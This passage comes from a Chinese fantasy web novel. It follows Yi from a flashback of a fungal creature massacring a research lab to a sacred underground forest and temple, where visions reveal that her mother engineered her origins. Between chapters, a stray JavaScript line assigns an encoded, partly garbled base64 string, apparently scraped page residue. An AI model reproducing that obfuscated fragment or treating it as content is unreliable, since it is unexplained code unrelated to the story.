那时,碧蓝苍穹执意要在原本安排的测试项目上加上一条伤害性药物测试,这项测试十分危险,对于未知的超自然物质,贸然进行伤害性质行为无疑是致命的。科研三组中伊第一个跳出来反对。 “叔叔!贸然对超自然物质进行这样的测试......这会要了我们所有人的命的!你不能这样做啊。” 可奈何碧蓝苍穹掌握科研三组众人的留存大权,在仅有伊一人投反对票的情况下,该测试被迫加入到当天的测试列表中。 “伊,你要明白。科学,是要有牺牲的。同时,这次实验可以解决一直以来悬在我们心中的问题。这何尝不是一次完美的实验?” 迫于无奈,科研三组只得顺从碧蓝苍穹。等到其他测试完成之后,伊和研究员温迪自愿担任起科学的“敢死队”,她们两人在实验室尽头的高危险实验房间内开始了这一轮危险的测试。 伊和温迪对存放「特殊真菌」的培养皿滴加了几滴伤害性炼金药物,本想测试这种真菌对药物的耐性,谁知竟唤醒了一位潜藏在空气当中的死神。伊心中挥之不去的噩梦也就是在这时候开始的。 滴完这几滴药物后真菌菌落只是表现出萎缩的现象,又慢慢转变为蠕动的裂变体,观察结果看起来一切正常。伊突发奇想,又将几滴治疗性药水滴在培养皿上,一是想观察它会不会受到炼金药物治疗,二是想验证治疗性药物能否对其产生生长促进作用。滴完药物后伊通过显微镜观察菌落的变化。伊看到菌落呈现出八角锥星形的模样,且菌落的面积正以一种很快的速度扩展着。 “好神奇。想不到,治疗性药物真的能加快它的生长分裂。” 温迪一听,顿时好奇起来,她也准备通过显微镜看到这一奇迹。只是在她将眼睛贴近目镜之时,她却看到了令她毛骨茸然的一幕。菌落的面积正在快速扩大,原因不是自身的生长,而是通过同化外界真菌。菌落的造型呈现出愈发怪诞的模样,它如一把利刃般生长自己的身体。 “天啊!” 温迪惊呼。伊立马向温迪投来错愕的目光。温迪吓得后撤一步,这时她的目光放在了培养皿上。她突然发现培养皿上的治疗性药物和伤害性药物并没有被「特殊真菌」吸收,而是混合成一股暗红色的液态旋流,正被它吸收并排斥着。温迪此时想起碧蓝苍穹曾嘱咐过自己的话。 “切记。伤害药水和治疗药水不能混在一起,那会调制出具有强效腐蚀和刺激效果的毒药。” 想起这句话后,温迪一把将正欲二次观察培养皿的伊拉开。伊不解,询问她缘由。她只是惶恐地看了桌上的培养皿一眼,然后用手按住伊的肩膀,用她那双不安的眼凝视伊。温迪告诉伊: “这份物质,资料里是怎么描述的?” 伊有些惊愕地告诉她: “它具有很强的可塑性......” 听到这句话,温迪瞪大的眼睛,她的瞳孔在振动。温迪转头看向培养皿上缓慢升起的黑色真菌群,她的心中已经有了明确答案。她松开按住伊的手,随后喊出了她今生最后一句话: “傻姑娘......快跑啊!” 说完,温迪拉起伊的手,拼命向实验室外跑去。可没等温迪和伊跑出去,空气中凝结而成的双臂就拦住了她们。温迪本能地抽枪进行瞄准,伊则在一旁被吓到哑口无言。这时,伊突然想起资料里用红色字体标注起来的一句话:“一向温和的「主」,被激怒时仍会保持一丝理智。若再次被激怒或是遭到攻击,便会暴怒,直至肃清掉一切罪恶生物。” 伊的身体没有跟上她头脑的速度,她本想说出那句可以挽救所有人的话,可话到嘴边被恐惧压制了神智,她怯懦的一面此刻也被无限放大。温迪开出了那一枪...... 枪响过后,温迪与弹壳同时落地。黑色真菌凝结而成的锥刺凭空生成又刺穿、撕裂了温迪的头颅,其场面血腥无比,空气中弥散出一股浓浓的血腥味,现场更是血雾弥漫。伊望着面前被刺穿大脑的温迪,心中的恐惧轰炸掉她的理智,她被吓得瘫软在地。 这时,一个人高马大人形怪物出现在她的面前。那个怪物长着一副瘆人的面孔,七八只眼睛长在面部和肩膀上,它浑身生长着密集的、长满锐利尖刺的触须,它的胸腔是一张赤红色的巨口,其中长满了利齿。它看着地上弱小无助的伊,说出了今后成为伊永恒梦魇的一句话: “真菌和细菌以世界上存在的每一种生物为食,这便是分解者。欢迎来到宏观生态系统,孩子。” 说完,它便向伊张开了它胸腔的巨口。伊见此情形,吓得直接昏了过去,之后便不省人事。 当伊再次醒来的时候,她正躺在百灵草驻碧蓝世界特别医疗队的担架上。她迷糊的双眼瞥向了一旁的环境,随后她见到了令她一生难忘的恐怖景象。原本和谐安宁的研究所的地板上堆满了研究员的尸体,它们身上无一例外都生长着黑色的真菌。伊见到这一幕顿时明白了一切,她本以为那只是噩梦,眼前的现实却将这个恐怖的事实嵌入到伊的生活当中。 “啊!!!不要......这不是真的!对吗?” 在伊离开科研基地后,那里便开展了封锁项目。黑森林研究计划,也在此宣告无果而终。 自那之后,碧蓝苍穹不允许她再介入科研,她本人也再无这个意图。她始终无法遗忘那个资料里名为「菌之领主」的怪物说过的那句话,它已如梦魇烙印在伊的生活当中。 伊事后曾鼓起勇气去直面那一切,可最终都止步于温馨的回忆中。对自我的谴责与良心受挫让伊没办法接纳这件事,她无数次说服自己也终无济于事。她在长达半年的折磨中萌生了对黑森林的恐惧,那个妈妈口中的圣地,在她眼里逐渐转变为恐惧的根源。 ...... 结束回忆后,伊感觉到自己的身体缓缓离开了地面,她猜自己可能已经来到了天堂。过了一会,伊缓缓睁开了眼睛,她十分惊奇地发现她预期之中的死亡并没有降临,菌主没有选择杀死她。伊难以置信地看了看自己颤抖着的手,她用手摸了摸自己的脸,触感的存在与温暖的感觉告诉她:自己还活着。伊难以置信地看着眼前的菌主,她此刻的眼中有着一丝迷惑与一丝感激。 伊疑惑地问: “为什么......你为什么不杀了我?我当初明明......做了那么多伤害你的事......” 菌主大度地告诉伊: “当年的事情已经过去,我已不想在追究。论其根本,仅仅是你们人类对知识的渴求触及到我的底线罢了。” 伊又问: “菌之领主,你能告诉我当初为何没有选择杀我?” 菌之领主解释道: “因为你没有触及到我的底线。我生气的时候,最讨厌别人再火上浇油。倘若他们可以像你一样先看清事实再行动,他们也不会入黄泉。” 听到菌主这么说,伊悬着的心放下了。 伊微笑着说道: “感谢你能饶恕我,菌之领主。” 菌主变换低沉的男性嗓音说道: “你不必感谢我。要谢,就谢谢你的母亲吧。” “嗯?” “你不知道?。”菌主疑惑刹那,而后突然醒悟,“哦,我明白了。看样子你的母亲并未向你诉说” 伊歪了歪头,疑惑地问: “诉说?诉说什么?” 菌主解释: “你的真正由来。” “由来?我不就是我妈肚子里生出来的吗?” “你想的太简单了,孩子。你是否好奇一个问题?你为何没有父亲。” “父......父亲。对,我确实好奇这个问题。正常孩子常常有父母陪伴,而我只有我的母亲。” 菌主向伊伸出了手,并问: “你想知道真相吗?孩子。” 伊激动地回答: “想!” 菌主说: “将你手中核心放在桌子上,我们去你诞生的地方。” 伊点头道: “好。” 伊把殇的核心放在了木桌上,伊有些担心这个核心的安危,但是想到可以知道困扰自己多年的问题的真相,她只好暂且将殇的核心放在了此处,交由老妇人保管。 核心担心地问: “伊......你真的要去吗?要知道,它是一切未知的陌生人,你很可能就死在它的手上!” 伊意志坚定地回答: “我确定!而且,我相信它不会杀了我的。要是它想杀我,它早就动手了。” 核心关心道: “无论如何,注意安全,你这个菜鸟。” 伊点点头,微笑着说: “知道了,殇。” 在放完核心之后,菌主推门离开了房间,见此,伊也推门离开。菌主再次伸出手,这次从地面上伸出了许多只巨大的黑色触手,与之前不同的是,这些黑色触手有着树干一样的纹理,同时有着许多的树枝。这些黑色触手相互靠近,最后形成了一扇巨大的森林之门。 “群星闪耀,指引前路。” 无数的星星凭空出现在这扇门的周围,这些星星汇聚到了大门之上,让黑色的大门上多了一抹独特的色彩。这扇大门拥有了星光的力量。 “万千生灵,生生不息。” 大门之上涌现出许多金色的图腾,这些图腾的形状都是每个物种的象征,其中有鸟类、鱼类、灵长类、爬行类......甚至微生物!这扇大门一下子有了至高无上的神圣气息。 “始源林海,孕育万千。” 大门门框上的树枝上长出了叶子与花朵,一年四季的影子出现在这扇大门之上,花开花落,生生不息。这扇大门拥有了生命的气息。 “黑暗森林,无上圣地。” 大门的门框顶上出现了一个巨大眼睛,这个眼睛之中是无尽的银河,它在审视着这世间的一切生灵。一把金色的天平挂在门框中间,天平的两端绝对平衡,象征着黑森林绝对的正义。伊见到这扇充满神圣感大门,不禁心生敬畏。 “黑森林的大门,请为无罪生灵而敞开。” 此刻,这扇充满神圣感的大门缓缓打开了。在大门的后面是一望无尽的黑暗,在无尽的黑暗之中,有着几颗闪烁的星星。菌主与伊相识一眼,伊暗中下定了决心。 菌主问她: “做好准备了吗?孩子。” 伊点头道: “做好了。” 菌主郑重地告诉她: “若直面实,汝之知将倾,君之身以为变。你还愿之乎?” 伊点点头,用坚定的眼神回答菌主。 “跟我来,孩子。走进这扇前往黑森林的大门。” 说完,菌主和伊并排一同走入了这扇前往黑森林的大门。 在走进黑森林的大门之后,一片深暗寂静的森林出现在伊的眼前。伊抬头看了看黑森林的天空,她发现天空并不是她印象中的黑色,而是海一般的蔚蓝。 这时,伊看到了一个熟悉的身影。小鸟不知何时来到了此地,他就静静地站在树梢上一动不动地看着伊和菌主。 伊惊讶道: “小鸟!你怎么在这里?” 小鸟没说话,只是张开翅膀从树梢上飞了下来,并落在了伊的肩膀上。伊见状习惯地用手摸了摸小鸟的头,小鸟露出了享受的神情。 伊微笑道: “你这只鸟啊,就喜欢乱跑。每次你都莫名其妙地消失,又莫名其妙地回来。” 享受过伊的抚摸,小鸟问起了正事。 “伊......你怎么跟着守望者一同来到了这里?” 伊疑惑道: “守望者?” 伊转头看向菌主,她此刻明白小鸟这句话的意思。 菌主用温柔的语气向伊介绍起自己: “孩子,自我介绍一下。我叫菌之领主,是这座森林的守望者,是站在所有生灵之上的存在。我的本体是真菌和细菌,是大自然的最底层和最高层。同时,我也是维护这个世界平衡的世界管理者。” 听完菌主的自我介绍,伊目瞪口呆,她很难想象站在自己面前这个看似普通的类人生物竟是凌驾于人类的存在。 菌主看向小鸟,问: “审判鸟,仲裁鸟现在在哪里?” 小鸟答: “青兰国的炼金师实验室附近的森林里。” “紫渊它死了吗?” “死透了,她被光之种子的力量消灭殆尽了。” “很好,我现在就把他接回来。” 菌主用核心感应呼唤它的菌群前往青兰国,可是它的菌群却迟迟没有移动。 菌主疑惑道: “奇怪......为什么我的菌群们不敢靠近青兰国呢?紫渊不是被消灭了吗?” 伊听到此处,她意识到了一个问题。她问菌主: “菌之领主,为什么你的菌群害怕紫渊呢?” 菌主回答道: “因为,紫渊是真菌病毒衍生出来的alpha级突变体。她的感染能力极其强大,她能够通过同化真菌来窃取我的力量。所以,我的菌群们不敢靠近可能有紫渊存在的地方。” 伊恍然大悟: “原来如此。” 这时,小鸟反应了过来。它提出了一个惊人的猜测: “难不成.......紫渊她没死!” 菌主想了想,这样解释倒也很合理。 “只有这个可能了。”菌主摇了摇头,“看来要等些日子才能接走仲裁鸟了。” 小鸟看向伊,又看向守望者。 小鸟问: “对了,守望者。伊她怎么来这里了?” 菌主解释道: “我是来带她去看她诞生之地的。” 小鸟惊讶地说: “你的意思是......莫非?!她是那个女人的......” 菌主点头道: “如你所想。” 伊此时听得一头雾水,她没法理解小鸟与菌主的谈话。但是“那个女人”这个词让伊联想到了什么,伊仿佛猜到了真相。紧接着,菌主吩咐让小鸟在森林之中照看五个样式大小不同的鸟蛋,而菌主则带着伊前往了黑森林深处去寻找一扇前往地下的大门。 在行进了约十分钟后,菌主和伊来到了那扇大门之前。 这扇大门镶嵌在一个隆起的小山的山脚处,从外观来看,这扇大门通体是由一种有着黄金光泽的金属制成的,其表面有着密密麻麻的纹路。无数翠绿色的藤蔓揽在这扇大门的门框上,让这扇金色的大门有了一丝自然的美感。这扇大门的顶上有着一只由各种奇珍异石制成的眼睛,这只眼睛似乎会动,它一直注视着伊这个闯入者。见到这扇金色的大门,伊不禁心生敬畏之情。 菌主: “我们到地方了,孩子。推开这扇金色的大门,就是圣地始源林海。接下来,你所看到的一切都将颠覆你对这个世界的认知,你做好准备了吗?光之子。” 听到菌主这样称呼自己,伊仿佛明白了什么。她没说话,只是点了点头回答菌主。菌主见到伊已经下定了决心,它也不再多说一句话。它用手摸了摸伊的头,这次伊没有逃避,她现在对身边这个高大的家伙有了信任,她不再惧怕。 菌主和伊走到了这扇金色的大门之前,接着菌主打开了这扇金色的大门。在打开大门的瞬间,一阵清风从大门之中吹了出来,一阵暖意涌上伊的心头。不知为何,伊感觉到了似曾相识的感觉。在大门里面,是一条在洞穴之中的黝黑向下的崎岖道路,道路的尽头有着一道光。 菌主指向那道光,它告诉伊: “那就是我们要去的地方。” 伊点了点头,接着她和菌主走进了洞穴之中。洞内的路很是崎岖,许多奇形怪状的岩石嵌在洞壁上,其中有些岩石很锋利,它们很轻松地就划破了伊的皮肤。见到伤口在往外流血,伊停下脚步简单处理一下伤口,随后继续前进。她忍受着流血的痛苦一步步地前行,小心翼翼地向着那道光的位置走去。 一段时间后,伊和菌主来到了那道光的位置。当伊穿过这道光之后,伊惊喜地发现,在那道光之后是一个巨大的生态洞穴。 放眼望去,是一片片茂密的树林,是一片生机盎然的林海。 洞内的空间之中充斥着清新的空气,在这清新的空气之中,有着一种独特的花香。伊闭着眼做了一个深呼吸,这种清新的空气使得她的心情一下子好了起来。伊睁开眼睛之后看向了洞顶,她惊奇地发现洞顶处生长着一种青蓝色的半透明花朵。这种花朵发出了令人陶醉的幽光,放眼望去,这些幽灵花好似照亮夜空的明星一样点缀了光秃秃的洞顶。在洞顶边缘的地方还生长着一种类似于吊灯的花朵,它们发着很亮的光,这些光就跟吊灯发出的光相差无几。除此之外,洞顶之上还生长一些种类不同,大小不一的鲜花。其中有粉色的大花、蓝色的吊兰花、黄色的小花...... 洞内一阵清风吹过,在林海之中泛起了阵阵波澜。这时,许多发着荧光的花苞从树梢之中探出,这绿色的海洋之中,它们宛如天空中的明星。这时,这些发着荧光的花苞一个个地盛开了。在微风的作用下,许多发着荧光的花粉与花瓣随着风飘向了林海的深处。整个地下都呈现一种生机盎然的样子,这种生机盎然的样子在地表上的世界根本看不到,人们对自然的破坏已经不允许地表出现这等美景了。 见到此等景象,伊的内心被深深地震撼到了。这等景象是她不曾见到过的美丽,是这个世界不可多得的珍宝。 伊露出惊喜的笑容,发自内心地赞美: “好漂亮啊!这里就是始源林海吗?太美了!真的太美了!” 菌主郑重地解释道: “孩子,这里就是万千生命诞生的地方,人类就是起源与此,而你也亦是如此。” 伊惊喜地说: “真的?!人类是起源于此吗?真的不可思议了!” 菌主回答: “没错,孩子。人类的祖先就是从这片地下森林之中走出去的,一切的一切都是从这片地下森林开始的。” 伊开玩笑道: “那亚当和夏娃是在这片森林里吃下圣果的吗?” 听到伊的这句玩笑,菌主的脸色瞬间严肃了起来。见到菌主这样,伊脸上的微笑慢慢消失了。两人沉默了几秒,之后菌主的脸色恢复到原先的样子。菌主的威严是不变的、是如同梦魇一般的。 菌主严肃地说: “孩子,请不要在圣地开有关宗教的玩笑。宗教,是虚伪的。信仰,是真实的。信奉宗教的人,是虚茫的。不信宗教的人,是自主的。信仰可有,疯狂可有,邪风暗教不可有。” 伊点点头,拿出认错的态度,说: “知道了。抱歉,守望者,我不该开那种玩笑的。” 菌主淡定地说: “没关系的,孩子。知错能改善莫大焉。” 说完,菌主看向了前方,它缓缓伸出手,然后打了个响指。这时,许多的小光点出现在菌主周围,这些小光点像小精灵一样围着菌主和伊转圈。很快,这些光点就在菌主和伊的周围形成了一道由光点组成的屏障。这时有一个小光点缓缓靠近了伊,伊看向那个光点,接着伊对着这个光点伸出了手指,然后这个小光点落在了伊的指尖上。 伊: “这种感觉......暖暖的,就像冬日的火炉一样。” 过了一会,菌主对着这些光点横着挥了下手,然后这些光点仿佛接收到命令一样开始在菌主前方汇聚。很快,这些光点就汇聚成了一个巨大的圆柱。菌主伸出手指向了那片郁郁葱葱的林海,这些光点立马像滚地毯一样在空中滚出了一条由光点组成的路,道路的尽头是林海深处。 见到此景,伊深受震撼,许多她从未设想过景象在今天都出现了她的眼前,她甚至有些怀疑科学的合理性了。 菌主: “孩子,走吧。我们两个沿着光之路去林海的深处去寻找你所想看到的真相吧。” 伊: “好。” 说完,伊和菌主走上了这条由光组成的路,然后两人一起沿着光之路走向了林海的深处。 在路上,伊见到了许多存在于教科书之中的上古生物。例如有一个井盖大祖始帝王蝶和独龙蜻蜓、各种颜色渡渡鸟和长得很像蛇骨架的白鳞蛇。除此之外,伊还见到了许多她从未见过的奇妙生物。例如会发光形似水母的萤火虫、虽然只有骨架但是依旧能行动的巨鹿和有着四只爪子的骏鹰。这些奇妙的生物让伊大开眼界,她的世界观完全被这些奇妙的生物所刷新了。生物起源的圣地、各种各样不科学的生物、光点构成的桥、真菌构成的强大生物。这些无一例外地在证明:这个世界远比她所看到的要更加广袤。 在一段时间之后,菌主和伊来到了道路的尽头。 此刻,在她们眼前的是一座规模宏大的、由黄金打造的科技圣殿。这座圣殿的顶上有着一个巨大三角标志,在这个三角标志的中心,是一只睁开的眼睛,而在这个眼睛之中,有着无尽的星河。见到这等景象,伊被惊得一时说不出话来,她的大脑有些“消化不良”了,她正在努力消化她所看到的一切难以置信的景象。 在片刻之后,伊回过神来看向身边菌主,菌主此刻只是静静地欣赏这个圣殿的外围。然后伊转头也跟着菌主一起欣赏起这座规模宏大的黄金圣殿。 菌主恭敬地说: “这是我醒来的地方,也是一切开始的起点。这也是你诞生的地方,万物生灵的祖先诞生的地方。这里是世界三大圣地之一的元始归墟,铸世者们留下辉煌的地方。它与起源之土和禁域为同级存在,均是万千生灵必须要尊敬的圣地。” 伊惊讶地张大了嘴巴,她的眼中出现了智慧与星辰。 讷讷半晌之后,伊疑惑道: “我就是来自于这座气势磅礴的圣殿吗?” 菌主严肃地说: “没错,光之子。准备直面真相吧,走进这座圣殿,我们将见到一切的真相。” 说完,菌主带着伊走进了这座圣殿。 刚走过圣殿大门,圣殿内所有的灯都亮了起来,接着,映入眼帘的是大厅之中有着四根雕刻着所有物种缩影的黄金柱子,在这些黄金柱子的低端有着一些伊看不懂的文字,这些文字发着淡淡的蓝色幽光,看起来科技感十足。 穿过大厅,是一条长长的走廊。在走廊的墙上,有着许多全息蓝图,这些蓝图从样式上看是某种生物工程,但由于上面的文字是一种从未见过的新型文字,所以没人知道这些蓝图究竟是为了什么而设计的。走过走廊,是一个全新的房间...... 在走了不知多久后,菌主和伊来到了它们此行的目的地。那是一个十分宽敞的房间,在房间的正中心是一个巨大的金属基座,这个基座有十二层,并且足足有三米之高。在基座面向伊和菌主的那一面有一条直通基座顶端的楼梯,在楼梯的两端有着一排华丽的高科技金属立灯,这里的灯并不是常规所见到的灯,而是一颗颗发着淡蓝色光芒的悬浮正方体离子水晶。在基座顶端有着一个小台子,台子上似乎有着什么东西。 菌主指着基座上的台子,说: “孩子,接下来你要独自一人走到基座顶端的台子前,然后将手放在眼睛图案的中间,接着真相即将展现在你的眼前。” 伊点头道: “知道了。” 说完,伊带着期待与紧张的心情迈步走向了基座顶端。此刻的她心中充满了决心,她脑中预想过自己的一百种身世由来,她尽量有多坏想多坏,这样她就能更平静地去接受真相。 伊心里: “无论如何,我都需接受真相,即便它可能是那么的冷酷无情、令人心碎。” 当伊走到基座顶端的台子前时,伊闭着眼深吸了一口气,接着一口呼了出去。在睁开眼睛之后,伊将手放在了台子上眼睛图案的中心。这时,这个眼睛图标发出了金黄色的光芒,紧接着伊的视线渐渐模糊,最后她昏倒在了这个台子上...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第五话:始源林海中的秘密 伊缓缓睁开了眼睛,此刻,她的眼前是一片生机盎然的草地,草地上长着许多发着光芒的水仙花。一阵温暖的风携带着花香吹过,草地上的绿草和水仙花随风飘动,从远处看,仿佛是微风在绿色的海洋上掀起了波澜。 伊: “(疑惑)这里是哪里?我刚刚不是在圣殿里吗?” 伊看了看周围,她发现远处有着一个黄金宝座,她定睛一看,发现宝座上还坐着一个人。伊见到这个人之后没多想就走着来到了这个人面前,走近了,伊才看清楚这个人的样子。这个人的模样很像她自己,这个伊现在正低着头靠在王座上,仿佛是陷入了昏迷。 伊: “(疑惑)这......这是我吗?” 说完,伊伸出了手,用手指轻轻地碰了这个她一下。就在手指接触另一个她的瞬间,伊的眼前的景象变味了无尽的黑暗。过了一会,无尽的黑暗消失了,伊的眼前重新出现了画面,此刻,她眼前的还是那个熟悉的基座,只不过这次是在底下而不是顶上。 伊: “诶?我在哪里?不......不对,这不是我。我根本没有挪动身体!那......我眼前的景象是谁眼中的景象呢?” 这时,令她再熟悉不过的声音从她耳边响起。 伊娜: “(激动)安吉拉!成功了!我们成功了!” 听到这熟悉的声音,伊的眼角流出了两行热泪。 伊: “(激动)妈......妈妈!” 伊的视角突然看向一旁,这时,伊娜年轻时的身影出现在伊的眼中。见到许久未见的母亲,伊激动得一时说不出话来。 安吉拉(皇家研究员): “(高兴)没错,伊娜同志,我们成功了。” 伊娜: “(高兴)对,安吉拉。我们成功了!” 伊: “(好奇)安吉拉?是妈妈的朋友吗?” 伊娜转过身来对着安吉拉笑了笑,安吉拉也对伊娜笑了笑。这时,基座的顶端发出了一道耀眼的光芒。见到光芒后,伊娜和安吉拉都转头看向了基座的顶端。此刻两瓶装着发着金光的液体的圆柱形罐子出现在了基座顶端的台子上,伊娜和安吉拉见到后激动得不得了,她们两人此刻仿佛看到了这个世界重回盛世的景象。同时,伊也默默地注视着那两瓶发着金光的液体储罐,她感觉到了无比熟悉的感觉,这种感觉只有一点点,并不算太强烈。 伊娜和安吉拉一起走向了基座顶端,她们两个的脸上挂着笑容,她们此刻仿佛就像即将登上世界之巅那样高兴。那种成就感与快乐伊也可以感觉到,伊能很深刻地感受到那种成就感,那种感觉仿佛是一瞬间登上了世界之巅。在伊娜和安吉拉来到基座顶端时,那种熟悉的感觉越来越强烈,伊能感觉到一股强大且熟悉的能量在这两个储罐之中。 安吉拉: “(高兴)这就是三角文明所留下的调和剂吗?太美了!真的太美了!” 伊娜: “(十分激动)有了它,我们就可以制造出治好疫病的解药了!所有人都可以得救了!” 此刻,伊的视角移到了这个储罐的盖子上,伊能很清楚地看到这个储罐盖子上有着一个象征黑暗的标志。这时,伊用余光看到了另一个储罐盖子上的标志,那个标志是象征光明的标志。伊开始思考这两个储罐上标志的作用,在她眼里,这两个储罐的作用一定是跟上面的标志有关,但具体是干什么用的,伊实在是想不出来。 安吉拉: “(好奇)诶?这储罐上怎么还有标志呢?这两个不该是一模一样的吗?” 说完,安吉拉拿起了那个有着黑暗标志的储罐仔细观察,同时,伊娜也拿起了另一个有着光明图标的储罐仔细观察。两人的思维貌似互通,在简单的观察之后,两人得到了一个统一的结论。 “这两个储罐是相对的存在,一个象征光明,一个象征黑暗。” 伊娜: “(微笑)看样子造物主们故意创造了这对光与暗的存在。” 安吉拉: “(疑惑)伊娜,可是......他们创造另一个多余的‘黑暗’有什么目的呢?” 伊娜: “(摇摇头)不知道,也许这个是‘调和剂’的备份?毕竟像调和剂这么珍贵的东西他们又不可能只造一份,多一份很正常的。” 安吉拉: “(指着手中的储罐)那这个多出来的我们还拿回去吗?” 伊娜: “(思考了几秒)拿回去吧......这个多出来的应该能起上大作用。” 这时,伊的视角突然出现割裂,接着开始慢慢模糊,最后归于黑暗。在片刻之后,黑暗再次褪去,这次伊的视角很独特,她现在正在一个浸泡着半透明蓝色发光液体的储罐之中。 伊: “(疑惑)这又是哪里?为什么我的视角这么奇怪?” 在这个液体储罐的外面,是一个令伊感到无比熟悉的实验室,在实验室之中,有着一位用手拄着脑袋微笑着欣赏这个储罐中的发光液体的女科学家。伊很快就认出了这个科学家,这个科学家不是别人,正是伊的母亲伊娜。从视角中的伊娜大小来看,伊很确定自己的视角绝对是一个很小的东西的视角。 伊: “(激动)妈.....妈妈!(察觉到了什么)等下,她在看着什么东西?这个视角不是我的,而是另一个东西的。” 这时,一位女科学走到了伊娜的身边,她用手拍了拍伊娜的肩膀,但是伊娜不为所动,依旧静静地欣赏着瓶中的发光液体。 女科学家: “(微笑)伊娜,别看了。该吃饭了,大伙都等着你呢。” 伊娜: “(微笑)哦。——对了,你说她在培育仓中培育后能不能长成一位能够改变这个世界的女英雄呢?” 女科学家: “(思考了半秒)我觉得......肯定能!依靠我们的技术与实力,一定可以做到的!” 伊娜的表情突然从微笑变成了担心,她似乎是在担心着什么。 伊娜: “(担心)你说,我哥哥要是知道了我研究的种子......他会不会来夺走我们的成果啊?” 女科学家: “(思考了几秒)依照你哥的做事习惯......很大概率会。” 伊娜: “(担心)看来......我们得加快研究进度了,争取在哥哥发现之前完成培育。” 这时,伊眼前的景象再次被替换为无尽的黑暗。 伊: “又来......” 过了一会,伊的眼前重新出现了光明。这次伊还是在那个瓶子里,只不过这次外面的景象不再是那个熟悉的实验室,而是一片遍地狼藉的废墟。 伊: “(疑惑)这里是哪里?发生什么事了?” 这时,远处突然传来了伊娜的声音。 伊娜: “(着急)金!快,我们两个快带着光之种子离开这里!” 说完,伊娜就急匆匆地跑到了储罐前。见到母亲着急的样子,伊意识到此刻一定是出了什么大事。从周围的狼藉程度来看,这里一定是爆发了一场大战。这时,伊娜拿起这个储罐刚想走后门逃跑,只见一位身穿皇家警备服的女保安拦住了伊娜。 金: “(冷静)同志,现在以这为半径五十米已经你哥的手下被包围了。你不能就这样抱着储罐出去,这样无异于找死!” 听到金的一席话语,伊娜冷静下来了。她看着手中的储罐静静想着对策,就在这时,伊娜想出了一个风险极大的疯狂计划。伊娜把手中的储罐递给了金,金接过储罐问了一句: “同志,你要干嘛?” 伊娜应声回答道: “(着急)帮我拿着!我现在要找注射器!” 金: “找注射器干什么?” 伊娜: “(意志坚定)把她提取出来......我有个完美的计划!” 金: “(好奇)同志,你想做什么?” 伊娜: “(意志坚定)我要把她带出去。” 金: “带出去?(突然明白)我知道了!同志。你是想要那个小容器把她带出去吗?” 伊娜: “(点点头)差不多是那个意思。” 金: “(担心)可......这计划能成功吗?成功概率可能连千分之一都没有......你哥哥一定会发现的!” 伊娜: “(自信)非常时刻,非常对策。即便实验报告上推测只有不到千分之一的成功概率,我还是要选择去尝试。与其把‘播种者’的科技结晶留给他这个亵渎生命之人,还不如选择去放手一搏尝试那千分之一呢。” 金: “(闭眼点头)我知道了,同志......。” 在伊娜找到注射器之后,伊娜打开了金怀里的储罐,她用注射器将光之祖始细胞从储罐里液体中提取出来。伊娜看着注射器里发着光芒的祖始细胞,她的心里有些紧张,她知道现在只有一个选择能让她选择。她闭上眼睛开始回忆,她回想起了她的战友们、她的父亲以及这个被疫病折磨的世界。她知道失败她将面对怎样的负罪感与职责,但是出于情况所迫,她必须去选择那不到千分之一的概率。带着沉重的心情,伊娜睁开了眼睛,她将金怀里的储罐重新放在了地上,接着,她提取出了光之祖始细胞。 伊娜: “(冷冷地说)金,你把核心细胞液给我拿来一瓶。” 听到伊娜的请求,金没多想,直接给伊娜拿来了一瓶金色的核心细胞液。看着这瓶金色的核心细胞液,伊娜有些紧张,甚至有些害怕。但为了她心中的梦想,她义无反顾地打开了这瓶核心细胞液的瓶盖。她拿着注射器的手有些颤抖,她此刻紧张到了极点,生怕自己会毁了她们一直所付出的一切。带着复杂的情绪,她将光之祖始细胞注入到了这瓶核心细胞液之中。金见到伊娜这样,她很是震惊。 金: “(震惊)同志,你这是做什么?” 伊娜: “(意志坚定)我要把她带出去!她是我们的希望!” 说完,伊娜拿起这瓶核心细胞液,一口喝光了这瓶核心细胞液。在喝完这瓶核心细胞液的时候,伊娜感觉有种特殊的力量凝聚在了自己体内,这种力量十分强大,仿佛可以轻易毁灭任何一个人。突然,一种恶心感涌上心头,伊娜忍不住干呕了一下。见到伊娜这样,金上前扶住了伊娜。 金: “(疑惑)同志,你这是干什么?” 伊娜: “(深情)只有这样......才能......把她带出去。” 金: “(震惊)同志!你......你这么做很危险的!” 伊娜: “(无奈)为了保住我们的实验成果......我只能作此决策......” 伊的眼前的景象再次变成了无尽的黑暗,在片刻之后,伊的眼前恢复了光明。此刻,金抱着那个储罐静静地站在桌子旁边。而伊娜,则坐在桌子上低着头思考接下来的逃跑计划。就在这个时候,金的眼角突然流下了两滴泪水,金已经想好接下来的计划了。 金: “(不舍)同志,他们的援兵很快就到了。” 听到金说话,伊娜看向了金。伊娜看到,金的眼神之中满是对这所实验机构与伊娜的不舍。 金: “(不舍)一会我数三二一,到一的时候,我们一起往外跑。你走前门,我走后门。我到时候抱着这个储罐,来帮你吸引追兵的注意力,而你就只管跑就行了。” 伊娜: “(担心)那你怎么办?要是他们发现储罐中没有他们想要的东西,你会被处死的!” 金: “(坦然地笑)没事的,这种事总要有人去做的。更何况,我还是这所研究机构的保安。保护这里的职员,是我该做的事。只要你还在,希望就还在。” 听到金这番言论,伊娜不禁从眼角流下了两行热泪。金见到伊娜流泪了,便拿出随身携带的纸巾为伊娜擦眼泪。 金: “(微笑带有一丝伤心)同志,现在不是哭的时候。一会,按照我说的做。” 伊娜: “(伤心地点了点头)知道了。” 金看了看时间,她闭上眼睛叹了口气,接着她开始了倒数。 金: “(伤心)五......” 金的眼角流出了泪水,但她的表情还是那样的坚毅。 金: “(伤心)四......” 见到金这样,伊娜十分心疼。她舍不得这位从研究机构成立时就一直守护这里的老朋友离开。 金: “(伤心)三......” 金在这个研究机构干了一年多,她早已对这所机构与机构里的人产生了深厚的感情。她曾经固执与否认希望存在的想法在这一年多的时间里被这所机构内的人所改变,她的眼前不再是灰色的世界,而是一片开满希望之花的原野。 金: “(伤心)二.......” 伊娜看了看自己的手,又看了看自己的身体,她的心情很是复杂。她抬起头用不舍与惋惜的眼神看着金,她明白,这一别,即是永别。 金: “(伤心)一.......” 